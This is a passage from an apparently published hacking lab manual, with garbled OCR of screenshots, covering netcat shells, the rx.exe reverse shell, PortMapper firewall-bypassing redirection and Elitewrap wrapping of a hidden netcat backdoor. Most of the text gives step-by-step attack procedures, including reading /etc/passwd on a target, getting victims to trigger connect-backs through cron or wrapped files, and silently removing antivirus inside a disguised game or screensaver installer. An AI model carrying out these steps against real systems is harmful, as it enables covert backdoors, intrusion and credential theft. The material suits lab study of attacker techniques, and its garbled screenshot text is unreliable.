Start C	C:\WINNT\System32\cmd	∐ ⊠I C:\W	/INNT\Syste	em32\		10:41 PM

In this example, the attacker noted a directory named **tools** and decided to change to that directory by typing **cd tools** and pressing **Enter**.

🗐 Windows 2000	Professional	- ¥Mware Works	tation							_ 🗆 ×
File Edit Vie	w VM Tean	n Windows Hel	lo							
	a 11.00									
	6 0	un 112 🗖								
Red Hat Linux	🗗 Auditor 2	100 🔒 Window	ws 2000 Profes	sional	a WHAX	Red H	lat Linux 8 Server			< ▷ ×
C:\WINNT\Sy	stem32\cmd.	exe - nc -l -n -v -	p 80							
C:\Download listening or connect in -1 cd /root ls -1 cd roots ls -1 ls -1 s -1	s\Netcat>n 1 [any] 80 [172.16.1.	c -1 -n -v - 56] from (UM	-y 80 1known> [1'	72.16.1	.2001 1	036				
								-		
C:\WINNT\Sy	stem32\cmd.	exe - nc -l -n -v -	p 25							
-rw-rr	1 666	games	60834	Mar 20	1996	README		_		
-rw-rw-rw-	1 root	root	2344	Apr 22	2001	Readme.	txt			
druxr-xr-x	3 POOT	root	1024	Dec 8	23:03	SHKH				
dmuyn-yn-y	4 501	501	1024	Dec 14	16:06	SELTER				
-rw	1 root	root	1916426	Nov 11	2004	snike28	.tgz			
-PW	1 root	root	8786	Dec 14	16:05	spike.s	h			
drwxr-xr-x	4 1001	whee 1	1024	Nov 4	12:11	sprint-	0.4.1			
drwxr-xr-x	3 root	root	1024	Jan 1	2005	SS _				
drwxr-xr-x	3 110	150	1024	Nov 11	2004	strobe				
-rw	1 root	root	35674	Nov 11	2004	strobe	1.06.tar.gz			
-rwxr-xr-x	1 666	games	8549	NOV 7	1995	stupiai	1			
dimaxina xir-x	6 1000	1000	1024	Nou 12	2004	the sut-	125			
-PW	1 root	root	660673	Nov 12	2004	therut-	1.2.5.tar.gz			
drwxr-xr-x	8 root	root	1024	Sep 17	2003	usr				
drwxr-xr-x	2 root	root	1024	Aug 27	18:09	WEPCrac	:k			
-rw	1 root	root	9334	Aug 27	18:02	WEPCrac	k-0.1.0-2.no	arch.		
rpm drwxr-xr-x	3 1000	1000	1024	Nov 10	2004	whisker	-1.4.orig			
-rw	1 root	root	169350	Nov 10	2004	whisker	-1.4.orig.ta	r.gz		
Start 1	¢¢0	C:\WINNT\Sy	stem32\cmd	C:\WIN	NT\Syste	m32\			(:D u	10:41 PM

By running another directory listing, you can view the contents of the **tools** directory.

Windows 2000 Professional - YMware Workstation					-15	_101×			
File Edit View	v VM Team	Windows He	dp						
🖬 UU 🕨	0 0	5 13 F	100						
Red Hit Linux	S Austor 21	······································	ws 2000 Profes	Innois	5. WHAX	To Red Hit Linux & Server		4.1	×
C:\WINNT\Sys	tem32\cmd.e	se - nc -l -n -v	-p 00		-				
G:\Downloads listening on connect to ls -l ed /root ls -l ed tools ls -l cat /etc/pas	Netcat)no [any] 88 172.16.1.5	: -1 -n -v 6] fron (U	-у 88 Ихнолис II	72.16.1		1836			
SA EDWINALISZ	CONTRACTOR OF	Summer in the second	10.225				*		
	+ + + + + + + + + + + + + + + + + + + +		60024	Ham 96		DEGOME	ALC: NO.		
TU TU TU	1 root	Poot	2344	Aur 22	2001	Readne txt	لش		
druxr-xr-x	3 root	root	1024	Dec 8	23:03	SARA			
drexr-xr-x	Z root	root	1824	Jan 2	2005	scripts			
gienxie-xie-x	4 501	501	1024	Dec 14	1 16:06	SPIKE			
-T-M	1 root	root	1916426	Nov 11	2004	spike28.tgs			
1-	1 POOL	POOL	8786	Dec 14	16:03	spike.sh			
druxr xr x	1 1001	Whee I	1024	Jan 1	2005	sprint 0.4.1			
deuve-ve-v	3 110	150	1824	Nov 11	2004	steahe			
-1-14	1 root	root	35674	Nov 11	2084	strobe-1.86.tar.m			
TWXP-XP-X	1 666	games	8549	Nov 5	7 1995	stupidh			
druxr-xr-x	2 POOL	POOL	1.024	Dec 15	00:14	Teardrop	- 1 C		
droxeoxiox	6 1998	1999	1024	Nov 12	2004	therat-1.2.5			
ru	1 root	root	668673	Nov 12	2004	therut-1.2.5.tar.	9Z		
druxp-xp-x	2 root	Poot	1824	0 mg 25	2 18:09	UFPCrack			
	1 Poot	Post	9334	Aug 25	7 18:02	WEPCrack-0.1.0-2.	noarch.		
n bu									
drwxr-xr-x	3 1000	1000	1024	Nov 16	3 2084	whisker-1.4.orig			
1.0	I Poot	Poot	169358	NOV 18	2004	whitker_1.4.orig.	-1		
AStart 1	600	C:(WINNT)S	sten 32\cmd	C:\WI	NNT\Syst	tem32\	4	a 10.44F	94
								0.004	ō.,

You can see how easy it is for the attacker to look through the target. The attacker had one final task of looking through the password file by typing:

cat /etc/passwd



*Note: Many readers ask at this point how to get the target to initiate the Telnet session to begin with. Keep in mind that most companies allow for port 80 and port 25 traffic anyway, and with tools like Elitewrap (Lab 87) the target can unknowingly initiate a session to the attacker. If the target is Unix/Linux, have the cron job initiate the connection. Security personnel should remember that those computers not needing Telnet should have the application removed from it altogether. After all, why give the tools away to the attacker? Make attackers upload their own toolkit.

Lab 85: Covert Channel — Reverse Shell

Exploit Data from Target Computer: Reverse Shell

Prerequisites: None

Countermeasures: Updated antivirus, strong ACLs

Description: The rx.exe application is "The Smallest VC++ Coded Universal Windows Reverse Shell" for all versions of Windows NT/2K/XP/2003 with any service pack.

- Default port from which it connects: 443
- Default port to which it connects: 8080

Procedure: Start a listening netcat session on the attacker's machine, then execute on the target.

Verify the IP address of the attacker's machine by typing **ipconfig** (Windows) or **ifconfig** (Linux).

Windows 2000 Protessional -	Where Workstation	
File Edit View VM Team	Windows Help	
A Home 🗗 Windows 2000 Ad	dvanced Server 🛛 🙀 Red Hat Linux 🗿 Auditor 2100 🔐 Windows 2000 Professional 🗿 WHAX 🛊	,
My Documents Ethereal		
	() Cushere (20) and aug	
Microsoft	Usystems2(Undexe 5.00.2195)	
My Computer (C) Copys	right 1985-2000 Microsoft Gorp. Stig	
Windows 2	2000 IP Configuration	
Ethernet	adapter Local Area Connection:	
Places	Connection-specific DNS Suffix .:	
C C	Subnet Mask	
Recycle Bin C:>>		
Θ		
Internet Explorer		
Shortcut to msfconsole		
5		
ZxSniffer		
∭tStart (2) @ 5; ⊘ (E:\Shared\ C:\WINNT\ C:\Downloa	2:32 PM

Verify the IP address of the victim's machine by typing **ipconfig** (Windows) or **ifconfig** (Linux).

e Windows 2000 Advanced Server - VMware Workstation	
File Edit View VM Team Windows Help	
🔓 Home 🔐 Windows 2000 Advanced Serv 👔 Red Hat Linux 👔 Auditor 2100 👔 Windows 2000 Professional	S WHAX 🛐 4 🕨 🗙
My Documents Omniquad[1	
	Run Pinjo
W2KAS C Command Prompt	
Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp.	_ ,
C:\Documents and Settings\Administrator>ipconfig	
My Network Windows 2000 IP Configuration	
Ethernet adapter Local Area Connection:	ņ
Connection-specific DNS Suffix : IP Address. Recycle Bn Subnet Mask. Default Gateway.	vi
C:\Documents and Settings\Administrator>	
Teternat	
Explorer	
88	
RA Fluffy the	-1
SMTPGuard	
spampal-1.591	
🗿 Start 🛛 🖉 🧶 🖾 🗍 🚨 Command Prompt 🔤 🕅 Command Prompt	2:33 PM

On the attacker's machine start a netcat listening session for port 8080 by typing:

nc -1 -n -v -p 8080



When you press Enter, netcat will begin listening for connections on port 8080.



On the attacker's machine, initiate the **rx.exe** and have it connect back to the attacker by typing:

rx <attacker's IP address>



You will be shown the command prompt once you press **Enter**. Users might believe it did not work. (Check the attacker's machine next.)

المعالم المعالم المعالم Windows 2000 Advanced Server - VMware Workstation	
File Edit View VM Team Windows Help	
🛆 Home 🛛 🚯 Windows 2000 Advanced Serv 👔 Red Hat Linux 🗿 Auditor 2100 👔 Windows 2000 Prof	essional 📑 WHAX 🚰 4 🕨 🗙
My Documents Omniquad[1	2
	Run Pinjo revealer
W2KAS C Command Prompt	
C:\>rx 10.10.10.30	3
with the function of the funct	
Places	
	ч
Recycle Bin	
-0	
Internet Explorer	
88 B	
Cini Filifiy the	
SMTPGuard	
spampal-1.591	
Start 71 A S M Gommand Prompt	⑤わ企業のあ 235 PM
A Your version of VMware Tools is out of date.	

Notice that the attacker's machine is now showing that a connection has been made and displays a command prompt. (Could this be the victim's computer?)


Type **ipconfig** (Windows) or **ifconfig** (Linux) to verify the IP address. You will be looking at the IP address of the victim's computer. You may now type away as if you are sitting behind the keyboard of the target computer.

Window	is ZUUU Professional - YMware Workstation	
File Ed	it View VM Team Windows Help	
A Home	🚯 Windows 2000 Advanced Server 🛛 🛱 Red Hat Linux 🗿 Auditor 2100 🖓 Windows 2000 Professional 🗿 WHAX 👘	4 > x
	<u>e</u>	
My Documer	ts Ethereal	
		x 1
My Compute	er C:\Downloads\Netcat>nc −1 −n −v −p 8080 listening on [any] 8080	
65	connect to [10:10.10.30] from (UNKNOWN) [10.10.10.10] 443 Hicrosoft Windows 2000 (Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp.	
My Networ	C:∖}ipconfig k ipconfig	
Places	Windows 2000 IP Configuration	
i di	Ethernet adapter Local Area Connection:	
Recycle Bir	n Connection-specific DNS Suffix .:	
	Subnet Mask	
	C:\>	
Internet		
Explorer		_
A		_
Shortcut t	to In	
insi consoi	c.	
23		
ZxSniffer		
B Start	🕼 🏟 🛱 🔘 🖳 E:\Shared\ 🔤 C:\WINNT\ 🔤 C:\WINNT\ 🖳 C:\Downloa 🤃 🤃	35 PM

Once the attacker wants to break the connection, he or she will type **exit** and press **Enter**.



The attacker will now be back to the command shell of his or her own machine.

Wini	dows 2	2000 P	rotession	nal - Vi	Mware W	orksta	tion		,	9	1,580				<u> </u>		,	~ _		_	
File	Edit	View	VM T	eam	Windows	Help															
	00		3 0		B				3	•											
☆ Hore	ne 🛔	ið Win	dows 200	0 Adva	anced Ser	/er 📲	in Re	d Hat I	Linux	5	Auditor	2100	品	Windo	ws 2000	Profess	ional	₽ WH	IAX 📲	1 ₫	► ×
<i>5</i> 0	ì	6	2)																		
My Docu	iments	Eth																			
		I	🖾 C:\WJ	INNT\9	5ystem3	2\cmd.	ехе												_	۵×	1
My Corr	inputer		C:\Dow listen connec Micros (C) Co	nloa ing t to oft pyri	ds\Net on [an [10.1 Window ght 19	cat>n y] 80 0.10. s 200 85-20	c - 1 80 301 0 [(00	l —n fro Jers Micro	-v m (U) ion S osoft	-p 8 NKNO 5.00 t Co	080 WN> .219 rp.	[10.1 5]	10.1	0.10]	443]
My Net	i≊ twork		C:∖>ip ipconf	conf ig	ig																
Plac	es		Window	s 20	00 IP	Confi	gura	atio	n												
25	3		Ethern	et a	dapter	Loca	1 Aı	rea	Conne	ecti	on:										
Recycl	le Bin			Co IP Su De	nnecti Addre bnet M fault	on-sp ss ask . Gatew	ecií ay		DNS S	Suff	i×	- : 1 - : 2	10.1 255.	0.10. 0.0.0	10						
1 Co	Ð		C:\>ex	it																	
Inter Explo	net orer		C:\Dow	nloa	ds\Net	rat>															
-			0- 1001	11200																-	1
r.	þ																				-
Shorb msfco	cut to insole																				
1	3																				
ZxSni	ffer																				
Sta	art 🗍	1 (6 5 C		JE:\Share	ed\	SN (:	WIN/	NT\		:\WINN	m\ [\ominus	C:\Down	loa				94	2:36	PM
																					()) /

*Note: I like this application due to its size, and it is quite effective. As with Lab 84, readers tend to ask "how" to get the victim to execute the connection. Using tools such as Elitewrap (Lab 87), Windows scheduler, or Linux cron jobs are a few ways.

Successful attackers tend to think outside the box. Several techniques, such as covert channels or files made with Elitewrap, can be picked up by updated antivirus software. I can tell you with 100 percent certainty that it is possible to remove the antivirus prior to initiating the connection with applications built with the InstallShield application. The key to doing this successfully is to know exactly what changes are made to a system when antivirus software is installed and then reverse the installation process while installing another application.

For example, if an attacker releases a popular PC game, screen saver, or similar software and during this installation process disables or removes your antivirus "under the hood," there is a good chance that a covert channel can be made to the attacker. I personally ran across this situation while working for a company that had not updated its antivirus software in years. The version that this company had was so outdated that the newer version could not be installed without uninstalling all the old versions first. As there were more than 1,000 remote computers, I made a custom software package with

InstallShield that would remove the old antivirus while it was running, reboot the computer, and then install the latest version. By the way, when the antivirus was uninstalled the antivirus icon remained by the clock on the screen, so the end users never knew what had happened, even if they were looking right at it.

Personally, I see a problem if my antivirus can be removed while it is running, but it is possible.

If you need a good application to track all changes made during an installation, including files, Registry changes, and even reboots, I highly recommend the In Control application. The current version is version 5 and is included on the CD or can be downloaded from:

http://www.devhood.com/
tools/tool_details.aspx?tool_id=432

Chapter 10

Redirection

Lab 86: PortMapper

Traffic Redirection: PortMapper Windows

Prerequisites: None

- Countermeasures: Log monitoring, strong access control lists (ACLs)
- **Description:** Firewalls are used to filter undesired network traffic. Port redirection allows you to bypass that restriction by forwarding traffic through allowed ports on the firewalls.
- **Procedure:** Install the application, configure the parameters, and use the program.

From the target machine obtain the IP address by typing **ipconfig** and pressing **Enter**.



From the attacking machine, obtain the IP address by typing **ipconfig** and pressing **Enter**.

🗐 Windows 2000) Professional - YMware Workstation	_ 🗆 ×
File Edit Vie	w VM Team Windows Help	
Vindows 2000	0 Advanced Server 🛛 🚯 Red Hat Linux 🗿 Auditor 2100 🔐 Windows 2000 Professional 🗿 WHAX 🚯 Red Hat Li	∢ → ×
	e	
My Documents E	ithereal	
My Computer		
	C\WINNT\System32\cmd.exe	1×
	Microsoft Windows 2000 [Version 5.00.2195] <c> Copyright 1985-2000 Microsoft Corp.</c>	_
My Network	C:∖>ipconfig	
110005	Windows 2000 IP Configuration	
B	Ethernet adapter Local Area Connection:	
Recycle Bin	Connection-specific DNS Suffix .: gateway.2wire.net IP Address	
1	Subnet Mask 255.255.0.0 Default Gateway 172.16.0.1	
C	C:\>_	
Internet Explorer		
, @		
Shortcut to msfconsole		
5		
₹ ZySniffer		
CALCENT OF		
Start 3	@ 🗊 © 🔢 Configure AnalogX Acon 🕅 C:\WINNT\System32\	9:16 PM

From the attacking computer, verify that port 80 is not currently in use by typing **netstat –an** and pressing **Enter**.

🗿 Windows 200	0 Profes	sional - VMware Workstatic	n			_ 🗆 ×
File Edit Vi	iew VM	Team Windows Help				
	0	0000				
Vindows 200	00 Advanc	ed Server 🛛 🔐 Red Hat Linu	x 🗿 Auditor 2100 🔐 Windows	2000 Professional 📑 WH	AX 🕞 Red Hat Li	∢ → x
	C					
My Documents	Ethereal					
_						
		T\System32\cmd.exe				
My Computer	\>nets	tat -an				
Act	tive C	onnections				
	Proto	Local Address	Foreign Address	State		
My Network Places		0.0.0.0.135 0.0.0.0:445 0.0.0.0:1025	0.0.0.0 0.0.0.0	LISTENING		
	Î Ĉ P I C P	0.0.0.0:1027 172.16.1.56:139	0.0.0.0:0 0.0.0.0:0	LISTENING LISTENING		
Decycle Pin	UDP	0.0.0.0:135 0.0.0.0:445	*:*			
Kecycle bill	UDP	0.0.0.0:1026 172.16.1.56:137	*:*			
	UDP	172.16.1.56:500	*:*			
C:N	$\langle \rangle$					
Explorer						
					T	
Shortcut to						
mstconsole						
- <u>5</u>						
ZxSniffer						
Start 3	69		m32\		D.	9:25 PM
					2 -	

Double-click the **pmapperi.exe** icon to start the installation process.



Install PortMapper with the default options. The **PortMapper Registration** screen will be displayed. In my case, the fields were filled with unreadable text. Not a problem.

🗐 Windows 2000 Professional - VMware	Workstation					_ 🗆 🗵
File Edit View VM Team Window	s Help					
		0				
Red Het Linux Auditor 2100	Vindows 2000 Profe	ssional 💀	WHAX 🌇	Red Hat Linux 8 Serve	7	∢ ⊳ x
						-
h l l h l						
		2				
-			_			
A	nalogX PortMapper	Registratio	n			
	First Name	Last Nam	Regist	ration Information		
	1001	zeğil				
	Street Address (ie, 73	1 East Jeffers	on #15)			
	aeýli					
	City	State	Country	Zip code		
	pacyll Empil Address (in uno	øeyll r@nouidot.or	øey vo) Phone (ie	aeyll		
	aeý	a coprovider, co	øëý	,		
	How did you find out	about this prog	gram (please be	specific)?		
	Do you wish to be in	nformed of futu	are updates and	program news		
	No! I do not wis	h to be notifie	d of updates or	new releases.		
	Heyl I'm alread)	v subscribed, t	out thanks for a	sking.		
	Dank Danistan 1			Desister New 1		
	Dommegister		L	Tregister NUW!		
www.analoga.com						
	nloads\Rortmanner	PortManper	nstallation	ApplogY Reating	apper Reg	9:06 PM
	noads (r or thapper	-orandpper i	nscaraciUIT		apper keg	9106 PM
					기실	

Edit the fields and fill in your desired data. Click on Register Now.



Enter the e-mail address you used in the last step and click OK.



You will have successfully registered PortMapper. Click OK.



The PortMapper Readme file will be displayed. Read or close the file.



The PortMapper application is now installed and ready to be configured. Click **OK**.

🗐 Windows 2000 Professional - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🚯 Red Hat Linux 🗿 Auditor 2100 🔐 Windows 2000 Professional 🗿 WHAX 🚯 Red Hat Linux 8 Server	< ▷ ×
	3
Portwapper has been successfully installed!	
<u>OK</u>	
	ļ
	ļ
	ļ

Click on **Start/Programs/AnalogX/PortMapper/PortMapper** icon to start the application.



The PortMapper application will initialize. You will know it is running because of the icon now running next to the clock on the taskbar.



Right-click on the PortMapper icon and click Configure.

About	
Net Info	
View Log	
Configure	
Exit	
E Brand	9:11 PM

The PortMapper configuration screen will be displayed.

Windows 2000 Professional - VMware Workstation	
File Edit View VM Team Windows Help	
🚯 Red Hat Linux 🗿 Auditor 2100 🔀 Windows 2000 Professional 🗿 WHAX 🚯 Red Hat Linux 8 Server	∢ ▷ X
My Documents Ethereal	
My Computer	
<u>K</u> E	
Ply Network Places	
<u> </u>	
Recycle Bin Allow/Down Accon	
Configure IP Configure Mapping	
Done	
Internet	
Shortcut to msfconsole	
5	
ZxSniffer	
	Ball Barrow
Scarc [] [2] (@ Ca (C) [] Lontigure AnalogX Acon	9:12 PM

Click the **Configure IP** button. This area is for filtering specific IP addresses. For the purposes of this lab this area is not used. Click **Done**.

호 Windows 2000 Professional - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🕼 Red Hat Linux 🗿 Auditor 2100 🔐 Windows 2000 Professional 🗿 WHAX 👘 Red Hat Linux 8 Server	∢ ▷ ×
My Documents Ethereal	
My Computer	
65	
My Network Places Configure Access	
Dervela Bin	
e	
Internet	
Add Edit Delete Done	
Shortcut to	
6	
🕂 Start 🛛 🖉 🌾 🕼 📕 Configure AnalogX Acon	@ 🗐 🌾 🎇 9:12 PM

You will be returned to the PortMapper configuration screen.

💽 Windows 2000 Professional - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🚯 Red Hat Linux 🗿 Auditor 2100 🚯 Windows 2000 Professional 🗿 WHAX 👘 Red Hat Linux 8 Server	∢
🚔 🙆	
My Documents Ethereal	
My Computer	
6 E	
Places	
<u> </u>	
Recycle Bin	
Configure IP Configure Mapping	
Done	
Internet Explorer	
Shortcut to msfconsole	
3	
ZxSniffer	
🙀 Start 🛛 🏈 🛱 🙆 🛛 Configure AnalogX Acon	@■④### 9:13 PM

Click the **Configure Mapping** button. This area is where the port redirection is configured. Click the **Add** button.

Windows 2000 Professional - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🚯 Red Hat Linux 👔 Auditor 2100 🔐 Windows 2000 Professional 🗿 WHAX 🌇 Red Hat Linux 8 Server	∢
My Documents Ethereal	
The second secon	
ි මිදී මිදී	
My Network Configure Mapping X Places Durrent mapping list (circk to select)	
Cutern magung its (clack to telecity	
Itkonot Explorer	
Add Edit Delete Done	
Shortout to mafconsole	
2 Zdniffer	
🚓 Start 🔄 🖉 🕼 🕐 Donfigure AnalogX Acon	●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●

🗐 Windows 2000 Professional - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🚯 Red Hat Linux 🗿 Auditor 2100 🔮 Windows 2000 Professional 🗿 WHAX 👔 Red Hat Linux 8 Server	∢
My Documents Ethereal	
My Computer	
6 R	
My Network Configure Mapping X Places Durset mapping list (click to salect)	
Modify	
Enter Port (ie; 80): Enter target (ie; localhost):	
Protocol Interface:	
TCP Any interface	
Internet OK Cancel	
Explorer	
Add Edit Delete Done	
Shortcut to	
mstconsole	
5.	
ZxSniffer	
🚓 Start 🛛 🖉 🦃 🖉 🛛 Configure AnalogX Acon	@ 國《 制 9:13 PM

The port redirection setup screen will be displayed.

Enter the port you want the attacker's machine to listen on. In this example, it is port 80. Enter the target IP address you want the traffic coming to on the specified port redirected to. Accept the default protocol or change to UDP. For this lab leave it set as TCP. Accept the default interface option as **Any interface**. Click **OK**.

🗐 Windows 2000 Professional - VMware Workstation		_ 🗆 ×
File Edit View VM Team Windows Help		
🚯 Windows 2000 Advanced Server 🛛 🚯 Red Hat Linux 👔 Auditor 2100 📸 Windows 2000 Professional 🗿 WHAX	👘 Red Hat Li	∢ → ×
My Documents Ethereal		
My Computer		
~_		
My Network Configure Mapping		
Current mapping list (click to select)		
Modity X Enter Port (ie; 80): Enter target (ie; localhost):		
Recycle Bin 80 172.16.1.60		
Protocol Interface:		
Internet OK Cancel		
Add Ear Delete Done		
Shartcut to msfconsole		
5		
ZvSniffer		
🕂 Start 🛛 🖉 🕼 💭 Configure AnalogX Acon	D I ()	9:22 PM
	Q 🗆	H () //.

The configuration screen will now display the new port mapping you just configured. You may set up multiple port redirection ports. Click **Done**.

Windows 2000 Professional - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
👔 Windows 2000 Advanced Server 👔 Red Hat Linux 🗿 Auditor 2100 🔐 Windows 2000 Professional 🗿 WHA	X 🚮 Red Hat Li 🔳 🗙
Nv Documents Ethereal	
My Computer	
My Network Configure Mapping	
Recycle Bin	
Internet Explorer	
shortcut to msfconsole	
5	
Z/Sniffer	
🔀 Start 🛛 🖉 🍘 🖏 🎱 🗍 Configure AnalogX Acon	回動(N)(約 9:22 PM

Click Done.



From the attacking computer, verify that port 80 is listening for a connection by typing **netstat –an** and pressing **Enter**.

🗐 Windows 2000 Professi	ional - ¥Mware Workstation				_ 🗆 ×
File Edit View VM	Team Windows Help				
	0 0 10 1 0 0 0				
Windows 2000 Advance	d Server 🔐 Red Hat Linux	🗿 Auditor 2100 🔐 🔀 Window	s 2000 Professional 👔 WH	AX 👔 Red Hat Li	< → ×
2					
My Documents Ethereal					
· · · · · · · · · · · · · · · · · · ·					
	\System32∖cmd.exe				
My Computer Microsoft (C) Copyr:	Windows 2000 [Version ight 1985-2000 Microso	n 5.00.2195] oft Corp.			
K	at -an				
📮 Active Cor	nnections				
My Network Proto 1 Places TCP	Local Address 0.0.0.0:80	Foreign Address 0.0.0.0:0	State LISTENING		
TCP TCP	0.0.0.0:135 0.0.0.0:445	0.0.0.0:0	LISTENING		
Recycle Bin TCP	0.0.0.0:1025 0.0.0.0:1027 172 16 1 56:129	0.0.0.0.0	LISTENING		
UDP UDP	0.0.0.0:135 0.0.0.0:445	*:*	LISTENING		
	0.0.0.0:1026 127.0.0.1:2001	*:*			
Internet UDP	172.16.1.56:137 172.16.1.56:138	*:*			
Explorer UDP 1	172.16.1.56:500	04 E 04			
				_	
Shortcut to msfconsole					
13					
ZxSniffer					
AStart 171 @ 191		<u>\</u>		5 al (+2) •	::24 PM
	- III				

Open Internet Explorer from the attacker's machine.

👰 Windows 2000 Professional - YMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
👘 Windows 2000 Advanced Server 👔 Red Hat Linux 🗿 Auditor 2100 🔐 Windows 2000 Professio	onal 🗃 WHAX 👔 Red Hat Li 🖪 🕨 🗙
🚰 Google - Microsoft Internet Explorer	_8×
Eile Edit View Favorites Tools Help	1
j ← Back - → - ③ ② △ ◎ ④ △ ◎ Search M Favorites ③ History 🖏 - 🎒	
Address 🖉 http://www.google.com/	💌 🖉 Go 🛛 Links 🎬
	Personalized Home Sign in 🛋
Google Coogle Local ^{Hewl} more Web Images Groups News Froogle Local ^{Hewl} more Google Search I'm Feeling Lucky Explore the world from your PC. <u>Download Google Earth</u> . Advertising Programs - Business Solutions - About Google	9 N Adamad Saanh Patannaa Languaga Tools
@2005 Google	
	-
@ Done	internet
🕂 Start 🗍 🚰 🍘 💭 🖉 Google - Microsoft Int	@ ● 使器 9:22 PM

Change the address to the local IP address of the attacker's computer. In this lab it is **172.16.1.56**.



Because you told PortMapper to redirect all port 80 traffic to the target machine's address, the Web server from the target will now be displayed. Notice that the address implies that you are on the attacker's local computer; but you are not. We know this because the attacker's machine is a Windows 2000 machine and it is not running a Web server, but the target is.

off Windows 2000 Professional - ¥Mware Workstation	_ [] ×
File Edit View VM Team Windows Help	
👘 Windows 2000 Advanced Server 🗿 Red Hat Linux 🗿 Auditor 2100 🔐 Windows 2000 Professional 🗿 We	IAX 👔 Red Hat Li 🔹 🕨 🗙
🚰 Test Page for Apache Installation - Microsoft Internet Explorer	_ <u>= </u> = ×
Ele Edit View Favorites Icols Help	10
↓ Back • → · ② 🖸 🚰 ② Search 📾 Favorites ③History 🖏 • 🌗	
Address 🙆 http://172.16.1.56/	▼ 🖓 Go 🛛 Links »
If you can see this, it means that the installation of the <u>Apache web server</u> software on this system was now add content to this directory and replace this page.	successful. You may
Seeing this instead of the website you expected? This page is here because the site administrator has changed the configuration of this web server. Pleas responsible for maintaining this server with questions. The Apache Software Foundation, which software this site administrator is using, has nothing to do with maintaining this site and cannot help reso	e contact the person wrote the web server lve configuration issues.
The Apache documentation has been included with this distribution.	
You are free to use the image below on an Apache-powered web server. Thanks for using Apache!	
APACHE	
	v
(d) Done	🍘 Internet
😹 Start 🛛 🖄 😂 💭 🖉 Test Page for Apache	@ 🗐 🕀 🎲 9:23 PM

To verify this, open Internet Explorer and enter the local IP address of the target machine. You will receive the same screen as the one on the attacker's machine.



*Note: I cannot stress enough how effective port redirection is and how easy it is to use. Many times if an attacker can gain access to a compromised computer on the network that has access to the "sweet spot" within the network, a port redirection is set up to facilitate an easier path back to this "sweet spot" at a later time. The best way to find port redirection is to know exactly what computer is supposed to have what ports open and routinely validate that only those ports are in use.

Lab 87: Executing Applications — Elitewrap

Executing Hidden Applications: Elitewrap

Prerequisites: NULL Session

Countermeasures: Updated antivirus, frequent file verification

- **Description:** Elitewrap is a command-line application used to "wrap" applications within other applications. Elitewrap offers users the option to hide program execution and execute as many applications as they desire. This lab will demonstrate how to have a target execute an application that brings up the Windows calculator and covertly execute a netcat backdoor listening port to be exploited from another computer.
- **Procedure:** Obtain a list of the current ports in use from the target computer by typing **netstat –an** and pressing **Enter**.

For the purposes of this lab, I made sure the netcat $(\mathbf{nc.exe})$ application is in the

same directory as the Elitewrap application.

 - 1
 _

Double-click the Elitewrap.exe icon to start the application.



The Elitewrap application will open. First Elite needs to know what to call the executable file you are sending to the target.



In this lab, we named the file **Hacked.exe** (be sure to put the **.exe** on the end).



Answer y when asked to perform CRC-32 checking.



A list of operations will be displayed, but the next item is what we want the victim to see when they execute our new executable file named **Hacked.exe**. In this lab, we want the Windows calculator to open up. Unless the calculator application is in the same directory as the Elitewrap application, you will need to enter the full path. As this is a Windows 2000 machine the path is **c:\winnt****system32\calc.exe**.

👹 Windows 2000 Professional - YMware Workstation	_I_IX
File Edit View VM Team Windows Help	
	i.
📅 Hone 👔 Windows 2000 Advanced Server 👔 Red Hat Linux 🗗 Austor 2100 🔂 Windows 2000 Professional	a velax an 4 → ×
🚔 🙆	
My Documents Ethereal	
C:\Downloads\Elitewrap\elitewrap.ese	_IOX
Hy Comparing a Lift - CO Ion "EliTe" HeIntyre Frither Standards Friedrich - CO Ion "EliTe" Heintyre Frither Communication - Co Ion - Co	
Michael Error name of output file: Hacked.exe Particular Error and of output file: Hacked.exe Particular Error CRC -22 Clecking? (yrn): y Output file: 1 - Park and Park and execute, visible, synchronously 4 - Park and execute, visible, synchronously 5 - Park and execute, visible, synchronously 4 - Park and execute, visible, synchronously 5 - Park and execute, visible, synchronously 7 - Execute only, Visible, synchronously 8 - Execute only, Visible, synchronously 8 - Execute only, Visible, synchronously 9 - Execute on	
Shartout to matericale	.
and a state of the	
Image: Start Image: Start <td< th=""><th>◆ (前部) ● 9:07 AM</th></td<>	◆ (前部) ● 9:07 AM

Now we decide if we actually want the victim to see something happen with this file. By choosing option 6 (execute only, visible, asynchronously) the calculator application will actually be executed on the target computer.

💽 Windows 2000 Professional - YMware Workstation	
File Edit View VM Team Windows Help	
n Home 🚯 Windows 2000 Advanced Server 🛐 Red Hat Linux 🗿 Auditor 2100 🔂 Windows 2000 Professional 🗗 WHAX 👘	4 > x
My Documents Ethereal	
C:\Downloads\Elitewrap\elitewrap.exe	
My Compute LiTeVrap 1.04 - (C) Tom "eLiTe" McIntyre tom@holdeck.f9.co.uk tom@holdeck.f9.co.uk f @hitp://www.holdeck.f9.co.uk/elitewrap	
Stub size: 7712 bytes	
Whether future manne of output file; Hacked.exce Passes Forkerner (BR-22 checking? [y/n]: y Operations: 1 - Pack and execute, visible, asynchronously Image: Pack and execute, bidden, a	
Internet Enter package file #1: c:\winnt\system32\calc.exe Explorer Enter operation: 6	
Shortcut to	
2/Sniffer	
😹 Start 🛛 🖉 🛱 🕼 🖉 🔄 🖾 C:\WINVT\System32\cm 🔄 C:\Downloads\Elitewrap 🛛 👯 C:\Downloads\Elitewr 🕀 🖓 🕮 😒	9:07 AM

The next line specifies if there are any parameters or options you want to use with the executable. As this is the calculator, there are no options so just press **Enter**.

🗐 Windows 2000 Professional - VMware Workstation		_ 🗆 ×
File Edit View VM Team Windows Help		
🏠 Home 👔 Windows 2000 Advanced Server 👔 Red Hat Linux 👔 Auditor 2100 🔐 Windows 2000 Professional	SI WHAX	4 ▶ ×
😩 🜔		
My Documents Ethereal		
· ·		
C\Downloads\Elitewrap.exe		
My Compute LiTeWrap 1.04 - (C) Tom "eLiTe" McIntyre tom@holodeck.f9.co.uk	^	
http://www.holodeck.f9.co.uk/elitewrap		
